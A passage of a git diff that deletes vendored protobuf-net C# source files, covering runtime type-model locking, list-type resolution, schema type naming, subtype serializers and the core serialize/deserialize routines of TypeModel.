MethodAttributes.Static, CallingConventions.Standard, - model.MapType(typeof(object)), new Type[] { model.MapType(typeof(object)), model.MapType(typeof(ProtoReader)) }); - Compiler.CompilerContext ctx = new Compiler.CompilerContext(boxedSerializer.GetILGenerator(), true, false, methodPairs, model, ilVersion, assemblyName, model.MapType(typeof(object))); - ctx.LoadValue(ctx.InputValue); - Compiler.CodeLabel @null = ctx.DefineLabel(); - ctx.BranchIfFalse(@null, true); - - Type mappedValueType = valueType; - ctx.LoadValue(ctx.InputValue); - ctx.CastFromObject(mappedValueType); - ctx.LoadReaderWriter(); - ctx.EmitCall(dedicated); - ctx.CastToObject(mappedValueType); - ctx.Return(); - - ctx.MarkLabel(@null); - using (Compiler.Local typedVal = new Compiler.Local(ctx, mappedValueType)) - { - // create a new valueType - ctx.LoadAddress(typedVal, mappedValueType); - ctx.EmitCtor(mappedValueType); - ctx.LoadValue(typedVal); - ctx.LoadReaderWriter(); - ctx.EmitCall(dedicated); - ctx.CastToObject(mappedValueType); - ctx.Return(); - } - return boxedSerializer; - } - -#endif -#endif - //internal bool IsDefined(Type type, int fieldNumber) - //{ - // return FindWithoutAdd(type).IsDefined(fieldNumber); - //} - - // note that this is used by some of the unit tests - internal bool IsPrepared(Type type) - { - MetaType meta = FindWithoutAdd(type); - return meta != null && meta.IsPrepared(); - } - - internal EnumSerializer.EnumPair[] GetEnumMap(Type type) - { - int index = FindOrAddAuto(type, false, false, false); - return index < 0 ? null : ((MetaType) types[index]).GetEnumMap(); - } - - private int metadataTimeoutMilliseconds = 5000; - - /// - /// The amount of time to wait if there are concurrent metadata access operations - /// - public int MetadataTimeoutMilliseconds - { - get { return metadataTimeoutMilliseconds; } - set - { - if (value <= 0) throw new ArgumentOutOfRangeException("MetadataTimeoutMilliseconds"); - metadataTimeoutMilliseconds = value; - } - } - -#if DEBUG - private int lockCount; - - /// - /// Gets how many times a model lock was taken - /// - public int LockCount - { - get { return lockCount; } - } -#endif - - internal void TakeLock(ref int opaqueToken) - { - const string message = - "Timeout while inspecting metadata; this may indicate a deadlock. This can often be avoided by preparing necessary serializers during application initialization, rather than allowing multiple threads to perform the initial metadata inspection; please also see the LockContended event"; - opaqueToken = 0; -#if PORTABLE - if(!Monitor.TryEnter(types)) throw new TimeoutException(message); // yes, we have to do this immediately - I'm not creating a "hot" loop, just because Sleep() doesn't exist... - opaqueToken = Interlocked.CompareExchange(ref contentionCounter, 0, 0); // just fetch current value (starts at 1) -#elif CF2 || CF35 - int remaining = metadataTimeoutMilliseconds; - bool lockTaken; - do { - lockTaken = Monitor.TryEnter(types); - if(!lockTaken) - { - if(remaining <= 0) throw new TimeoutException(message); - remaining -= 50; - Thread.Sleep(50); - } - } while(!lockTaken); - opaqueToken = Interlocked.CompareExchange(ref contentionCounter, 0, 0); // just fetch current value (starts at 1) -#else - if (Monitor.TryEnter(types, metadataTimeoutMilliseconds)) - { - opaqueToken = GetContention(); // just fetch current value (starts at 1) - } - else - { - AddContention(); -#if FX11 - throw new InvalidOperationException(message); -#else - throw new TimeoutException(message); -#endif - } -#endif - -#if DEBUG // note that here, through all code-paths: we have the lock - lockCount++; -#endif - } - - private int contentionCounter = 1; -#if PLAT_NO_INTERLOCKED - private readonly object contentionLock = new object(); -#endif - - private int GetContention() - { -#if PLAT_NO_INTERLOCKED - lock(contentionLock) - { - return contentionCounter; - } -#else - return Interlocked.CompareExchange(ref contentionCounter, 0, 0); -#endif - } - - private void AddContention() - { -#if PLAT_NO_INTERLOCKED - lock(contentionLock) - { - contentionCounter++; - } -#else - Interlocked.Increment(ref contentionCounter); -#endif - } - - internal void ReleaseLock(int opaqueToken) - { - if (opaqueToken != 0) - { - Monitor.Exit(types); - if (opaqueToken != GetContention()) // contention-count changes since we looked! - { - LockContentedEventHandler handler = LockContended; - if (handler != null) - { - // not hugely elegant, but this is such a far-corner-case that it doesn't need to be slick - I'll settle for cross-platform - string stackTrace; - try - { - throw new ProtoException(); - } - catch (Exception ex) - { - stackTrace = ex.StackTrace; - } - - handler(this, new LockContentedEventArgs(stackTrace)); - } - } - } - } - - /// - /// If a lock-contention is detected, this event signals the *owner* of the lock responsible for the blockage, indicating - /// what caused the problem; this is only raised if the lock-owning code successfully completes. - /// - public event LockContentedEventHandler LockContended; - - internal void ResolveListTypes(Type type, ref Type itemType, ref Type defaultType) - { - if (type == null) return; - if (Helpers.GetTypeCode(type) != ProtoTypeCode.Unknown) return; // don't try this[type] for inbuilts - if (this[type].IgnoreListHandling) return; - - // handle arrays - if (type.IsArray) - { - if (type.GetArrayRank() != 1) - { - throw new NotSupportedException("Multi-dimension arrays are supported"); - } - itemType = type.GetElementType(); - if (itemType == MapType(typeof (byte))) - { - defaultType = itemType = null; - } - else - { - defaultType = type; - } - } - // handle lists - if (itemType == null) - { - itemType = TypeModel.GetListItemType(this, type); - } - - // check for nested data (not allowed) - if (itemType != null) - { - Type nestedItemType = null, nestedDefaultType = null; - ResolveListTypes(itemType, ref nestedItemType, ref nestedDefaultType); - if (nestedItemType != null) - { - throw TypeModel.CreateNestedListsNotSupported(); - } - } - - if (itemType != null && defaultType == null) - { -#if WINRT - System.Reflection.TypeInfo typeInfo = System.Reflection.IntrospectionExtensions.GetTypeInfo(type); - if (typeInfo.IsClass && !typeInfo.IsAbstract && Helpers.GetConstructor(typeInfo, Helpers.EmptyTypes, true) != null) -#else - if (type.IsClass && !type.IsAbstract && Helpers.GetConstructor(type, Helpers.EmptyTypes, true) != null) -#endif - { - defaultType = type; - } - if (defaultType == null) - { -#if WINRT - if (typeInfo.IsInterface) -#else - if (type.IsInterface) -#endif - { -#if NO_GENERICS - defaultType = typeof(ArrayList); -#else - Type[] genArgs; -#if WINRT - if (typeInfo.IsGenericType && typeInfo.GetGenericTypeDefinition() == typeof(System.Collections.Generic.IDictionary<,>) - && itemType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(genArgs = typeInfo.GenericTypeArguments)) -#else - if (type.IsGenericType && - type.GetGenericTypeDefinition() == - MapType(typeof (System.Collections.Generic.IDictionary<,>)) - && - itemType == - MapType(typeof (System.Collections.Generic.KeyValuePair<,>)) - .MakeGenericType(genArgs = type.GetGenericArguments())) -#endif - { - defaultType = - MapType(typeof (System.Collections.Generic.Dictionary<,>)).MakeGenericType(genArgs); - } - else - { - defaultType = MapType(typeof (System.Collections.Generic.List<>)).MakeGenericType(itemType); - } -#endif - } - } - // verify that the default type is appropriate - if (defaultType != null && !Helpers.IsAssignableFrom(type, defaultType)) - { - defaultType = null; - } - } - } - - -#if FEAT_IKVM - internal override Type GetType(string fullName, Assembly context) - { - if (context != null) - { - Type found = universe.GetType(context, fullName, false); - if (found != null) return found; - } - return universe.GetType(fullName, false); - } -#endif - - internal string GetSchemaTypeName(Type effectiveType, DataFormat dataFormat, bool asReference, bool dynamicType, - ref bool requiresBclImport) - { - Type tmp = Helpers.GetUnderlyingType(effectiveType); - if (tmp != null) effectiveType = tmp; - - if (effectiveType == this.MapType(typeof (byte[]))) return "bytes"; - - WireType wireType; - IProtoSerializer ser = ValueMember.TryGetCoreSerializer(this, dataFormat, effectiveType, out wireType, false, - false, false, false); - if (ser == null) - { - // model type - if (asReference || dynamicType) - { - requiresBclImport = true; - return "bcl.NetObjectProxy"; - } - return this[effectiveType].GetSurrogateOrBaseOrSelf(true).GetSchemaTypeName(); - } - else - { - if (ser is ParseableSerializer) - { - if (asReference) requiresBclImport = true; - return asReference ? "bcl.NetObjectProxy" : "string"; - } - - switch (Helpers.GetTypeCode(effectiveType)) - { - case ProtoTypeCode.Boolean: - return "bool"; - case ProtoTypeCode.Single: - return "float"; - case ProtoTypeCode.Double: - return "double"; - case ProtoTypeCode.String: - if (asReference) requiresBclImport = true; - return asReference ? "bcl.NetObjectProxy" : "string"; - case ProtoTypeCode.Byte: - case ProtoTypeCode.Char: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - switch (dataFormat) - { - case DataFormat.FixedSize: - return "fixed32"; - default: - return "uint32"; - } - case ProtoTypeCode.SByte: - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - switch (dataFormat) - { - case DataFormat.ZigZag: - return "sint32"; - case DataFormat.FixedSize: - return "sfixed32"; - default: - return "int32"; - } - case ProtoTypeCode.UInt64: - switch (dataFormat) - { - case DataFormat.FixedSize: - return "fixed64"; - default: - return "uint64"; - } - case ProtoTypeCode.Int64: - switch (dataFormat) - { - case DataFormat.ZigZag: - return "sint64"; - case DataFormat.FixedSize: - return "sfixed64"; - default: - return "int64"; - } - case ProtoTypeCode.DateTime: - requiresBclImport = true; - return "bcl.DateTime"; - case ProtoTypeCode.TimeSpan: - requiresBclImport = true; - return "bcl.TimeSpan"; - case ProtoTypeCode.Decimal: - requiresBclImport = true; - return "bcl.Decimal"; - case ProtoTypeCode.Guid: - requiresBclImport = true; - return "bcl.Guid"; - default: - throw new NotSupportedException("No .proto map found for: " + effectiveType.FullName); - } - } - } - - /// - /// Designate a factory-method to use to create instances of any type; note that this only affect types seen by the serializer *after* setting the factory. - /// - public void SetDefaultFactory(MethodInfo methodInfo) - { - VerifyFactory(methodInfo, null); - defaultFactory = methodInfo; - } - - private MethodInfo defaultFactory; - - internal void VerifyFactory(MethodInfo factory, Type type) - { - if (factory != null) - { - if (type != null && Helpers.IsValueType(type)) throw new InvalidOperationException(); - if (!factory.IsStatic) throw new ArgumentException("A factory-method must be static", "factory"); - if ((type != null && factory.ReturnType != type) && factory.ReturnType != MapType(typeof (object))) - throw new ArgumentException( - "The factory-method must return object" + (type == null ? "" : (" or " + type.FullName)), - "factory"); - - if (!CallbackSet.CheckCallbackParameters(this, factory)) - throw new ArgumentException( - "Invalid factory signature in " + factory.DeclaringType.FullName + "." + factory.Name, "factory"); - } - } - } - - /// - /// Contains the stack-trace of the owning code when a lock-contention scenario is detected - /// - public sealed class LockContentedEventArgs : EventArgs - { - private readonly string ownerStackTrace; - - internal LockContentedEventArgs(string ownerStackTrace) - { - this.ownerStackTrace = ownerStackTrace; - } - - /// - /// The stack-trace of the code that owned the lock when a lock-contention scenario occurred - /// - public string OwnerStackTrace - { - get { return ownerStackTrace; } - } - } - - /// - /// Event-type that is raised when a lock-contention scenario is detected - /// - public delegate void LockContentedEventHandler(object sender, LockContentedEventArgs args); -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/SubType.cs b/Client/Core/ProtoBuf/Meta/SubType.cs deleted file mode 100644 index 4e991d3e..00000000 --- a/Client/Core/ProtoBuf/Meta/SubType.cs +++ /dev/null @@ -1,97 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Serializers; - -namespace ProtoBuf.Meta -{ - /// - /// Represents an inherited type in a type hierarchy. - /// - public sealed class SubType - { - internal sealed class Comparer : System.Collections.IComparer -#if !NO_GENERICS - , System.Collections.Generic.IComparer -#endif - { - public static readonly Comparer Default = new Comparer(); - - public int Compare(object x, object y) - { - return Compare(x as SubType, y as SubType); - } - - public int Compare(SubType x, SubType y) - { - if (ReferenceEquals(x, y)) return 0; - if (x == null) return -1; - if (y == null) return 1; - - return x.FieldNumber.CompareTo(y.FieldNumber); - } - } - - private readonly int fieldNumber; - - /// - /// The field-number that is used to encapsulate the data (as a nested - /// message) for the derived dype. - /// - public int FieldNumber - { - get { return fieldNumber; } - } - - /// - /// The sub-type to be considered. - /// - public MetaType DerivedType - { - get { return derivedType; } - } - - private readonly MetaType derivedType; - - /// - /// Creates a new SubType instance. - /// - /// The field-number that is used to encapsulate the data (as a nested - /// message) for the derived dype. - /// The sub-type to be considered. - /// Specific encoding style to use; in particular, Grouped can be used to avoid buffering, but is not the default. - public SubType(int fieldNumber, MetaType derivedType, DataFormat format) - { - if (derivedType == null) throw new ArgumentNullException("derivedType"); - if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber"); - this.fieldNumber = fieldNumber; - this.derivedType = derivedType; - this.dataFormat = format; - } - - private readonly DataFormat dataFormat; - - private IProtoSerializer serializer; - - internal IProtoSerializer Serializer - { - get - { - if (serializer == null) serializer = BuildSerializer(); - return serializer; - } - } - - private IProtoSerializer BuildSerializer() - { - // note the caller here is MetaType.BuildSerializer, which already has the sync-lock - WireType wireType = WireType.String; - if (dataFormat == DataFormat.Group) wireType = WireType.StartGroup; // only one exception - - IProtoSerializer ser = new SubItemSerializer(derivedType.Type, derivedType.GetKey(false, false), derivedType, - false); - return new TagDecorator(fieldNumber, wireType, false, ser); - } - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs b/Client/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs deleted file mode 100644 index bd815363..00000000 --- a/Client/Core/ProtoBuf/Meta/TypeFormatEventArgs.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; - -namespace ProtoBuf.Meta -{ - /// - /// Event arguments needed to perform type-formatting functions; this could be resolving a Type to a string suitable for serialization, or could - /// be requesting a Type from a string. If no changes are made, a default implementation will be used (from the assembly-qualified names). - /// - public class TypeFormatEventArgs : EventArgs - { - private Type type; - private string formattedName; - private readonly bool typeFixed; - - /// - /// The type involved in this map; if this is initially null, a Type is expected to be provided for the string in FormattedName. - /// - public Type Type - { - get { return type; } - set - { - if (type != value) - { - if (typeFixed) throw new InvalidOperationException("The type is fixed and cannot be changed"); - type = value; - } - } - } - - /// - /// The formatted-name involved in this map; if this is initially null, a formatted-name is expected from the type in Type. - /// - public string FormattedName - { - get { return formattedName; } - set - { - if (formattedName != value) - { - if (!typeFixed) - throw new InvalidOperationException("The formatted-name is fixed and cannot be changed"); - formattedName = value; - } - } - } - - internal TypeFormatEventArgs(string formattedName) - { - if (Helpers.IsNullOrEmpty(formattedName)) throw new ArgumentNullException("formattedName"); - this.formattedName = formattedName; - // typeFixed = false; <== implicit - } - - internal TypeFormatEventArgs(System.Type type) - { - if (type == null) throw new ArgumentNullException("type"); - this.type = type; - typeFixed = true; - } - } - - /// - /// Delegate type used to perform type-formatting functions; the sender originates as the type-model. - /// - public delegate void TypeFormatEventHandler(object sender, TypeFormatEventArgs args); -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/TypeModel.cs b/Client/Core/ProtoBuf/Meta/TypeModel.cs deleted file mode 100644 index 7fa679a7..00000000 --- a/Client/Core/ProtoBuf/Meta/TypeModel.cs +++ /dev/null @@ -1,1814 +0,0 @@ -using System; -using System.IO; -using System.Collections; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Provides protobuf serialization support for a number of types - /// - public abstract class TypeModel - { -#if WINRT - internal TypeInfo MapType(TypeInfo type) - { - return type; - } -#endif - - /// - /// Resolve a System.Type to the compiler-specific type - /// - protected internal Type MapType(System.Type type) - { - return MapType(type, true); - } - - /// - /// Resolve a System.Type to the compiler-specific type - /// - protected internal virtual Type MapType(System.Type type, bool demand) - { -#if FEAT_IKVM - throw new NotImplementedException(); // this should come from RuntimeTypeModel! -#else - return type; -#endif - } - - private WireType GetWireType(ProtoTypeCode code, DataFormat format, ref Type type, out int modelKey) - { - modelKey = -1; - if (Helpers.IsEnum(type)) - { - modelKey = GetKey(ref type); - return WireType.Variant; - } - switch (code) - { - case ProtoTypeCode.Int64: - case ProtoTypeCode.UInt64: - return format == DataFormat.FixedSize ? WireType.Fixed64 : WireType.Variant; - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - case ProtoTypeCode.Boolean: - case ProtoTypeCode.SByte: - case ProtoTypeCode.Byte: - case ProtoTypeCode.Char: - return format == DataFormat.FixedSize ? WireType.Fixed32 : WireType.Variant; - case ProtoTypeCode.Double: - return WireType.Fixed64; - case ProtoTypeCode.Single: - return WireType.Fixed32; - case ProtoTypeCode.String: - case ProtoTypeCode.DateTime: - case ProtoTypeCode.Decimal: - case ProtoTypeCode.ByteArray: - case ProtoTypeCode.TimeSpan: - case ProtoTypeCode.Guid: - case ProtoTypeCode.Uri: - return WireType.String; - } - - if ((modelKey = GetKey(ref type)) >= 0) - { - return WireType.String; - } - return WireType.None; - } - -#if !FEAT_IKVM - /// - /// This is the more "complete" version of Serialize, which handles single instances of mapped types. - /// The value is written as a complete field, including field-header and (for sub-objects) a - /// length-prefix - /// In addition to that, this provides support for: - /// - basic values; individual int / string / Guid / etc - /// - IEnumerable sequences of any type handled by TrySerializeAuxiliaryType - /// - /// - internal bool TrySerializeAuxiliaryType(ProtoWriter writer, Type type, DataFormat format, int tag, object value, - bool isInsideList) - { - if (type == null) - { - type = value.GetType(); - } - - ProtoTypeCode typecode = Helpers.GetTypeCode(type); - int modelKey; - // note the "ref type" here normalizes against proxies - WireType wireType = GetWireType(typecode, format, ref type, out modelKey); - - - if (modelKey >= 0) - { - // write the header, but defer to the model - if (Helpers.IsEnum(type)) - { - // no header - Serialize(modelKey, value, writer); - return true; - } - else - { - ProtoWriter.WriteFieldHeader(tag, wireType, writer); - switch (wireType) - { - case WireType.None: - throw ProtoWriter.CreateException(writer); - case WireType.StartGroup: - case WireType.String: - // needs a wrapping length etc - SubItemToken token = ProtoWriter.StartSubItem(value, writer); - Serialize(modelKey, value, writer); - ProtoWriter.EndSubItem(token, writer); - return true; - default: - Serialize(modelKey, value, writer); - return true; - } - } - } - - if (wireType != WireType.None) - { - ProtoWriter.WriteFieldHeader(tag, wireType, writer); - } - switch (typecode) - { - case ProtoTypeCode.Int16: - ProtoWriter.WriteInt16((short) value, writer); - return true; - case ProtoTypeCode.Int32: - ProtoWriter.WriteInt32((int) value, writer); - return true; - case ProtoTypeCode.Int64: - ProtoWriter.WriteInt64((long) value, writer); - return true; - case ProtoTypeCode.UInt16: - ProtoWriter.WriteUInt16((ushort) value, writer); - return true; - case ProtoTypeCode.UInt32: - ProtoWriter.WriteUInt32((uint) value, writer); - return true; - case ProtoTypeCode.UInt64: - ProtoWriter.WriteUInt64((ulong) value, writer); - return true; - case ProtoTypeCode.Boolean: - ProtoWriter.WriteBoolean((bool) value, writer); - return true; - case ProtoTypeCode.SByte: - ProtoWriter.WriteSByte((sbyte) value, writer); - return true; - case ProtoTypeCode.Byte: - ProtoWriter.WriteByte((byte) value, writer); - return true; - case ProtoTypeCode.Char: - ProtoWriter.WriteUInt16((ushort) (char) value, writer); - return true; - case ProtoTypeCode.Double: - ProtoWriter.WriteDouble((double) value, writer); - return true; - case ProtoTypeCode.Single: - ProtoWriter.WriteSingle((float) value, writer); - return true; - case ProtoTypeCode.DateTime: - BclHelpers.WriteDateTime((DateTime) value, writer); - return true; - case ProtoTypeCode.Decimal: - BclHelpers.WriteDecimal((decimal) value, writer); - return true; - case ProtoTypeCode.String: - ProtoWriter.WriteString((string) value, writer); - return true; - case ProtoTypeCode.ByteArray: - ProtoWriter.WriteBytes((byte[]) value, writer); - return true; - case ProtoTypeCode.TimeSpan: - BclHelpers.WriteTimeSpan((TimeSpan) value, writer); - return true; - case ProtoTypeCode.Guid: - BclHelpers.WriteGuid((Guid) value, writer); - return true; - case ProtoTypeCode.Uri: - ProtoWriter.WriteString(((Uri) value).AbsoluteUri, writer); - return true; - } - - // by now, we should have covered all the simple cases; if we wrote a field-header, we have - // forgotten something! - Helpers.DebugAssert(wireType == WireType.None); - - // now attempt to handle sequences (including arrays and lists) - IEnumerable sequence = value as IEnumerable; - if (sequence != null) - { - if (isInsideList) throw CreateNestedListsNotSupported(); - foreach (object item in sequence) - { - if (item == null) - { - throw new NullReferenceException(); - } - if (!TrySerializeAuxiliaryType(writer, null, format, tag, item, true)) - { - ThrowUnexpectedType(item.GetType()); - } - } - return true; - } - return false; - } - - private void SerializeCore(ProtoWriter writer, object value) - { - if (value == null) throw new ArgumentNullException("value"); - Type type = value.GetType(); - int key = GetKey(ref type); - if (key >= 0) - { - Serialize(key, value, writer); - } - else if (!TrySerializeAuxiliaryType(writer, type, DataFormat.Default, Serializer.ListItemTag, value, false)) - { - ThrowUnexpectedType(type); - } - } -#endif - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - public void Serialize(Stream dest, object value) - { - Serialize(dest, value, null); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - /// Additional information about this serialization operation. - public void Serialize(Stream dest, object value, SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - using (ProtoWriter writer = new ProtoWriter(dest, this, context)) - { - writer.SetRootObject(value); - SerializeCore(writer, value); - writer.Close(); - } -#endif - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied writer. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination writer to write to. - public void Serialize(ProtoWriter dest, object value) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (dest == null) throw new ArgumentNullException("dest"); - dest.CheckDepthFlushlock(); - dest.SetRootObject(value); - SerializeCore(dest, value); - dest.CheckDepthFlushlock(); - ProtoWriter.Flush(dest); -#endif - } - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int fieldNumber) - { - int bytesRead; - return DeserializeWithLengthPrefix(source, value, type, style, fieldNumber, null, out bytesRead); - } - - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// Used to resolve types on a per-field basis. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver) - { - int bytesRead; - return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - /// Used to resolve types on a per-field basis. - /// Returns the number of bytes consumed by this operation (includes length-prefix overheads and any skipped data). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, out int bytesRead) - { - bool haveObject; - return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead, - out haveObject, null); - } - - private object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, out int bytesRead, out bool haveObject, - SerializationContext context) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - haveObject = false; - bool skip; - int len; - int tmpBytesRead; - bytesRead = 0; - if (type == null && (style != PrefixStyle.Base128 || resolver == null)) - { - throw new InvalidOperationException( - "A type must be provided unless base-128 prefixing is being used in combination with a resolver"); - } - int actualField; - do - { - bool expectPrefix = expectedField > 0 || resolver != null; - len = ProtoReader.ReadLengthPrefix(source, expectPrefix, style, out actualField, out tmpBytesRead); - if (tmpBytesRead == 0) return value; - bytesRead += tmpBytesRead; - if (len < 0) return value; - - switch (style) - { - case PrefixStyle.Base128: - if (expectPrefix && expectedField == 0 && type == null && resolver != null) - { - type = resolver(actualField); - skip = type == null; - } - else - { - skip = expectedField != actualField; - } - break; - default: - skip = false; - break; - } - - if (skip) - { - if (len == int.MaxValue) throw new InvalidOperationException(); - ProtoReader.Seek(source, len, null); - bytesRead += len; - } - } while (skip); - - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(source, this, context, len); - int key = GetKey(ref type); - if (key >= 0 && !Helpers.IsEnum(type)) - { - value = Deserialize(key, value, reader); - } - else - { - if ( - !(TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, - ref value, true, false, true, false) || len == 0)) - { - TypeModel.ThrowUnexpectedType(type); // throws - } - } - bytesRead += reader.Position; - haveObject = true; - return value; - } - finally - { - ProtoReader.Recycle(reader); - } -#endif - } - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// On a field-by-field basis, the type of object to deserialize (can be null if "type" is specified). - /// The type of object to deserialize (can be null if "resolver" is specified). - /// The sequence of deserialized objects. - public System.Collections.IEnumerable DeserializeItems(System.IO.Stream source, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver) - { - return DeserializeItems(source, type, style, expectedField, resolver, null); - } - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// On a field-by-field basis, the type of object to deserialize (can be null if "type" is specified). - /// The type of object to deserialize (can be null if "resolver" is specified). - /// The sequence of deserialized objects. - /// Additional information about this serialization operation. - public System.Collections.IEnumerable DeserializeItems(System.IO.Stream source, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, SerializationContext context) - { - return new DeserializeItemsIterator(this, source, type, style, expectedField, resolver, context); - } - -#if !NO_GENERICS - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The type of object to deserialize. - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// The sequence of deserialized objects. - public System.Collections.Generic.IEnumerable DeserializeItems(Stream source, PrefixStyle style, - int expectedField) - { - return DeserializeItems(source, style, expectedField, null); - } - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The type of object to deserialize. - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// The sequence of deserialized objects. - /// Additional information about this serialization operation. - public System.Collections.Generic.IEnumerable DeserializeItems(Stream source, PrefixStyle style, - int expectedField, SerializationContext context) - { - return new DeserializeItemsIterator(this, source, style, expectedField, context); - } - - private sealed class DeserializeItemsIterator : DeserializeItemsIterator, - System.Collections.Generic.IEnumerator, - System.Collections.Generic.IEnumerable - { - System.Collections.Generic.IEnumerator System.Collections.Generic.IEnumerable.GetEnumerator() - { - return this; - } - - public new T Current - { - get { return (T) base.Current; } - } - - void IDisposable.Dispose() - { - } - - public DeserializeItemsIterator(TypeModel model, Stream source, PrefixStyle style, int expectedField, - SerializationContext context) - : base(model, source, model.MapType(typeof (T)), style, expectedField, null, context) - { - } - } -#endif - - private class DeserializeItemsIterator : IEnumerator, IEnumerable - { - IEnumerator IEnumerable.GetEnumerator() - { - return this; - } - - private bool haveObject; - private object current; - - public bool MoveNext() - { - if (haveObject) - { - int bytesRead; - current = model.DeserializeWithLengthPrefix(source, null, type, style, expectedField, resolver, - out bytesRead, out haveObject, context); - } - return haveObject; - } - - void IEnumerator.Reset() - { - throw new NotSupportedException(); - } - - public object Current - { - get { return current; } - } - - private readonly Stream source; - private readonly Type type; - private readonly PrefixStyle style; - private readonly int expectedField; - private readonly Serializer.TypeResolver resolver; - private readonly TypeModel model; - private readonly SerializationContext context; - - public DeserializeItemsIterator(TypeModel model, Stream source, Type type, PrefixStyle style, - int expectedField, Serializer.TypeResolver resolver, SerializationContext context) - { - haveObject = true; - this.source = source; - this.type = type; - this.style = style; - this.expectedField = expectedField; - this.resolver = resolver; - this.model = model; - this.context = context; - } - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - public void SerializeWithLengthPrefix(Stream dest, object value, Type type, PrefixStyle style, int fieldNumber) - { - SerializeWithLengthPrefix(dest, value, type, style, fieldNumber, null); - } - - /// - /// Writes a 